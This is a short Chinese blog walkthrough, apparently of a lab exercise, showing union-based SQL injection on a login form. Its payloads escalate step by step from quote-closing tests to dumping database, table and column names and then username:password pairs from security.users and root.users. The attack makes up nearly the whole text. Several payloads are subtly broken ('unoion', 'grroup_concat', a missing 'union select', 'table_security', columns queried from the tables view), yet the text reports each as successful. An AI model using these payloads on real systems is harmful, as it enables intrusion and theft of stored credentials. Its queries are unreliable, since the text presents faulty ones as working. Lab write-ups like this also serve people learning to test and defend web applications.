赞
踩
知识点:
首先看界面是一个登录框;通过admin admin登录进去,发现页面会把用户名和密码的登录信息打印出来;通过bp抓包进行测试是不是存在注入点
构造payload:username=a'+or+1=1#
页面成功回显除了第一个用户名和密码;说明这里存在字符型注入;通过单引号闭合进行绕过
构造payload:username=a'+unoion+select+1,2,3#
提示字段数不对,根据页面返回情况猜测是两个字段
构造payload:username=a'+union+select+1,2#
页面成功回显除了输入的信息;说明注入成功;下面可以进行数据库敏感信息的获取了
构造payload:username=a'+union+select+1,database()#
成功获取了数据库名
构造payload:username=a'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'#
成功获取了security下的表名;
构造payload:username=a'+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'#
成功获取了相关的字段;发现里面有用户名和密码
构造payload:username=a'+union+select+1,group_concat(username,':',password)+from+users#
这里直接用users表名了;因为当前默认使用的数据库是security;所有加不加都可以;如果不知道的情况下最好加上;如security.users
成功获取了用户的敏感信息
到这里其实就完成了;不需要在进行其他操作了但是我想测一下是不是能够读取其他数据库的信息
构造payload:username=a'+group_concat(schema_name)+from+information_schema.schemata#
成功获取了所有的数据库信息;发现了一个root数据库
构造payload:username=a'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_security='root'#
成功获取了所有的表名;发现有一个用户表
构造payload:username=a'+union+select+1,group_concat(column_name)+from+information_schema.tables+where+table_schema='root'+and+table_name='users'#
成功获取users表中的字段信息
发现存在用户名和密码的字段
构造payload:username=a'+union+select+1,grroup_concat(user,':',password)+from+root.users#
这里就要指定数据库了,因为默认是security数据库;通过指定root.users
成功获取了root表中的所有用户信息;可以看出密码进行加密了
到这里就真的结束了,真实畅快啊
10
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。